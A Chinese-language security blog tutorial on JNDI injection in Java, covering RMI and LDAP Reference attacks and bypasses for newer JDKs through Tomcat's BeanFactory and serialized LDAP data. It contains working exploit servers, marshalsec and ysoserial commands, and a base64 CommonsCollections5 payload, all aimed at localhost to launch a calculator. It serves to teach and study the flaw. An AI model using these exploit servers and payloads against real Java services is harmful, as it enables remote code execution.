淺析JNDI注入

SecIN發表於2022-07-21

Trail: Java Naming and Directory Interface (The Java Tutorials) (oracle.com)

The JNDI Tutorial (oracle.com)

JNDI (Java Naming and Directory Interface) 是一個應用程式設計的 API,為開發人員提供了查詢和訪問各種命名和目錄服務的通用、統一的介面。

JNDI 支援的服務主要有以下幾種:

  • RMI (JAVA遠端方法呼叫)
  • LDAP (輕量級目錄訪問協議)
  • CORBA (公共物件請求代理體系結構)
  • DNS (域名服務)

前三種都支援遠端物件呼叫

JNDI支援的資料儲存物件

  • Java序列化物件
  • JNDI Reference引用
  • Marshalled物件
  • RMI遠端物件
  • CORBA 物件

注入原理

在JNDI服務中,RMI服務端除了直接繫結遠端物件之外,還可以透過References類來繫結一個外部的遠端物件(當前名稱目錄系統之外的物件)。繫結了Reference之後,服務端會先透過Referenceable.getReference()獲取繫結物件的引用,並且在目錄中儲存。當客戶端在lookup()查詢這個遠端物件時,客戶端會獲取相應的object factory,最終透過factory類將reference轉換為具體的物件例項。

RMI攻擊實現

影響版本

JDK <= 8u121

在8u121之後com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等屬性的預設值變為false,就不能再利用了

先看下JNDI—RMI的結合使用

RMI服務端

RMISever.java

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMISever {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteObj",remoteObj);

    }
}

遠端介面

IRemoteObj.java

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    public String sayHello(String keywords) throws RemoteException;

}

實現介面的遠端物件

RemoteObjImpl.java

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
    public RemoteObjImpl() throws RemoteException{
        super();
    }

    @Override
    public String sayHello(String keywords){
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}

JNDI服務端

JNDIRMIServer.java

import javax.naming.InitialContext;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
    }
}

JNDI客戶端

JNDIRMIClient.java

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

這裡的InitialContext()是構建一個初始上下文。通俗點來講就是獲取初始目錄環境。

當開啟RMI服務和JNDI服務後,此時JNDI客戶端便可成功發出請求

在這裡插入圖片描述

RMI攻擊

透過上例可以看出JNDI是可以和RMI結合使用的,而攻擊就要透過References類來繫結一個外部的遠端物件的方式進行了。

Reference(String className, RefAddr addr, String factory, String factoryLocation)
  • className : 遠端載入時所使用的類名
  • classFactory : 載入的class中需要例項化類的名稱
  • classFactoryLocation : 提供classes資料的地址可以是file/ftp/http協議

開啟遠端服務,在該目錄下放了一個Exec.class,進行遠端呼叫

import java.io.IOException;

public class Exec {
    public Exec() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

之後修改JNDIServer,透過Reference繫結啟動的遠端服務物件

import javax.naming.InitialContext;
import javax.naming.Reference;


public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();
        //initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());

        Reference refobj = new Reference("Exec", "Exec", "http://localhost:7777/");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",refobj);

    }
}

重新啟動RMI,JNDIServer後,透過客戶端JNDIClient成功執行惡意位元組碼檔案(這裡是本地測試的也可以修改http://localhost:7777/,進行遠端呼叫)

在這裡插入圖片描述

流程分析

只要客戶端lookup引數可控,我們就可寫入自己的遠端物件,而遠端物件在綁上References,其中傳一個帶有惡意類的地址,當RMI客戶端開啟服務後就會造成攻擊

下面看下具體流程

跟進lookup,name就是我們傳入的rmi://127.0.0.1:1099/remoteObj

public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

有呼叫了lookup,繼續跟進,這裡呼叫了var3的lookup,而var3的是RegistryContext,所以雖然我們透過JNDI的方式進行的呼叫,但最後還是會呼叫到RMI的流程中,所以這也就是JNDI能結合RMI使用的原因(JNDI的每個服務對應一個Context協議,而RMI對應的協議就是RegistryContext)

在這裡插入圖片描述

繼續跟進lookup,還是會呼叫lookup,但呼叫後var2的ReferenceWrapper型別,而在JNDIRMIServer中例項化的是Reference

在這裡插入圖片描述

分析下原因

跟進rebind,遠端服務繫結時繫結的是Reference,但當客戶端呼叫時變成了ReferenceWrapper,所以一定是在Reference繫結後進行了一些操作

在這裡插入圖片描述

注意一下引數就好,繼續跟進rebind

在這裡插入圖片描述

又有一個rebind

public void rebind(String var1, Object var2) throws NamingException {
    ResolveResult var3 = this.getRootURLContext(var1, this.myEnv);
    Context var4 = (Context)var3.getResolvedObj();

    try {
        var4.rebind(var3.getRemainingName(), var2);
    } finally {
        var4.close();
    }

}

跟進後發現多了個encode的操作

在這裡插入圖片描述

跟進後發現,當我們傳入的型別為Reference,他會透過判斷返回ReferenceWrapper,所以上邊的原因也就在這裡

在這裡插入圖片描述

在回到剛才的lookup方法,由於剛才的rebind中進行了encode,所以這裡對應的會返回一個返回decode的操作

return this.decodeObject(var2, var1.getPrefix(1));

跟進後,發現了getReference(),在注入原理中提到貨他可以獲取繫結物件的引用,所以var3就變為了我們繫結的Reference物件

在這裡插入圖片描述

之後就呼叫了NamingManager.getObjectInstance,在319行會呼叫getObjectFactoryFromReference,從引用中獲取物件工廠

factory = getObjectFactoryFromReference(ref, f);

跟進後他首先會進行個類載入

try {
     clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {

跟進loadClass,retrun中會呼叫本類中的另一個loadClass

public Class<?> loadClass(String className) throws ClassNotFoundException {
    return loadClass(className, getContextClassLoader());
}

呼叫Class.forName,但他是呼叫AppClassLoader從本地找Exec.class,所以肯定是找不到的

在這裡插入圖片描述

找不到後,就會從codebase中尋找,codebase透過ref.getFactoryClassLocation(),就會變成我們傳入的遠端物件

在這裡插入圖片描述

重新載入結束後透過最後的newInstance成功例項化,遠端執行

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

LDAP攻擊實現

除了RMI服務之外,JNDI還可以對接LDAP服務,且LDAP也能返回JNDI Reference物件,利用過程與上面RMI Reference基本一致,只是lookup()中的URL為一個LDAP地址如ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference物件。

注意一點就是,LDAP+Reference的技巧遠端載入Factory類不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用範圍更廣。

影響版本

JDK <= 8u191 且版本不為7u201、6u211、6u141、7u131、8u121

這些版本的com.sun.jndi.ldap.object.trustURLCodebase屬性預設值為false

LDAP攻擊

使用marshalsec構建ldap服務,服務端監聽:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099

http://127.0.0.1/為本地服務,Exec是惡意檔案,1099是開啟的ldap服務埠(預設為1389)

開啟本地服務

python -m http.server 7777

直接發起請求即可

import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:1099/Exec");
    }
}

在這裡插入圖片描述

流程分析

前邊和RMI的一樣連續呼叫了幾個lookup,之後又進入了p_lookup()

在這裡插入圖片描述

之後又呼叫了c_lookup()

protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
    Object var3 = null;
    HeadTail var4 = this.p_resolveIntermediate(var1, var2);
    switch (var4.getStatus()) {
        case 2:
            var3 = this.c_lookup(var4.getHead(), var2);
            if (var3 instanceof LinkRef) {
                var2.setContinue(var3, var4.getHead(), this);
                var3 = null;
            }

跟進c_lookup(),在下方會呼叫decodeObject(),其中引數的值就是我們傳入的LDAP的值

在這裡插入圖片描述

跟進後,會進行if判斷,JAVA_ATTRIBUTES的索引值在下方,處若我們傳入的是序列化資料則會執行if下方的語句進行反序列化(後邊高版本繞過會用到留個印象);若傳入的是遠端物件則會呼叫decodeRmiObject()而我們是一個引用所以直接呼叫執行decodeReference()

在這裡插入圖片描述

decodeReference()是一些賦值操作,執行完後回到decodeObject()中,最後decodeObject()執行完之後回到了c_lookup()這裡var3此時的值為

在這裡插入圖片描述

接著往下走最終呼叫了DirectoryManagergetObjectInstance,而RMI呼叫的則是NamingManagergetObjectInstance

return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

但流程的話跟RMI的基本一模一樣了,最後也是透過NamingManager呼叫newInstance()進行類載入造成程式碼執行

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

高版本繞過

在JDK8u191之後將com.sun.jndi.ldap.object.trustURLCodebase 屬性的預設值設為了false,即不能再從遠端的Codebase載入惡意的Factory類了,所以上邊的方式就不適用了,但這裡還可以使用本地類載入的方式進行利用(都需要特定的依賴):

  • 本地Class作為Reference Factory繞過
  • LDAP返回序列化資料繞過

本地Class作為Reference Factory繞過

找到一個受害者本地CLASSPATH中的類作為惡意的Reference Factory工廠類,並利用這個本地的Factory類執行命令。這個Factory類必須實現 javax.naming.spi.ObjectFactory 介面。而Tomcat依賴包中存在org.apache.naming.factory.BeanFactory工廠類,可以反射構造程式碼執行。

pom依賴

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>8.0.28</version>
</dependency>

本地攻擊

Client

import javax.naming.*;
public class JNDIBPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/Exec");
    }
}

Server

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class JNDIBPServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval"));
        resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Exec", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec");
    }
}

若在執行javax.el.ELProcessor報錯Class not found: javax.el.ELProcessor,則需要再匯入依賴:

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.0.28</version>
</dependency>

流程分析

由於透過RMI進行的呼叫,所以前邊的流程跟RMI攻擊實現中是一樣的,但由於本次傳入的工廠是BeanFactory,所以會呼叫BeanFactory.getObjectInstance()

在這裡插入圖片描述

跟進後這裡透過反射例項化了ELProcessorbean

在這裡插入圖片描述

再往下看,將forceString的值賦給ra,我們在Server中賦值forceString="Sentiment=eval",所以ra="Sentiment=eval",之後建立了一個HashMap物件給forced,接著將剛剛說到的ra的值賦給value,又賦給了param,在168行獲取了等號的索引,之後以等號分割開分別賦值給了setterNameparam

在這裡插入圖片描述

之後就是將這兩個值傳入HashMap即:forced

forced.put(param,
           beanClass.getMethod(setterName, paramTypes));

在這裡插入圖片描述

之後主要就是這五步了:

  1. proName獲取ra的type —>Sentiment
  2. value獲取ra的contents —>Runtime.getRuntime().exec("calc")
  3. method獲取Sentiment對應的值即:eval方法
  4. valueArray[0]獲取value 即Runtime.getRuntime().exec("calc")
  5. 最終反射成功執行程式碼

LDAP返回序列化資料繞過

在LDAP攻擊的流程分析中提到過在高版本繞過中會用到,LDAP Server除了使用JNDI Reference進行利用之外,還支援直接返回一個物件的序列化資料。如果Java物件的 javaSerializedData 屬性值不為空,則客戶端的 obj.decodeObject() 方法就會對這個欄位的內容進行反序列化

這裡以打cc5為例,需要Commons-Collections-3.1依賴

pom依賴

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

本地攻擊

ysoserial生成payload

java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" >1.txt

base64加密一下

在這裡插入圖片描述

本題開啟http服務直接打即可

python -m http.server 7777

Server

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
public class JNDISerialServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:7777/#Exec";
        int port = 1099;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            //低版本JDK
/*            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());*/

            //高版本JDK
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAANXEAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABGNhbGN0AARleGVjdXEAfgAyAAAAAXEAfgA3c3EAfgAnc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4"));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Client

import javax.naming.InitialContext;

public class JNDISerialClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:1099/Exec");
    }
}

流程分析

跟LDAP攻擊實現的步驟基本一致,只是前者是透過引用進入了,而這裡用的是序列化索引進入了

在這裡插入圖片描述

進入deserializeObject就是反序列化的操作了透過readObject反序列化程式碼執行

var5 = ((ObjectInputStream)var20).readObject();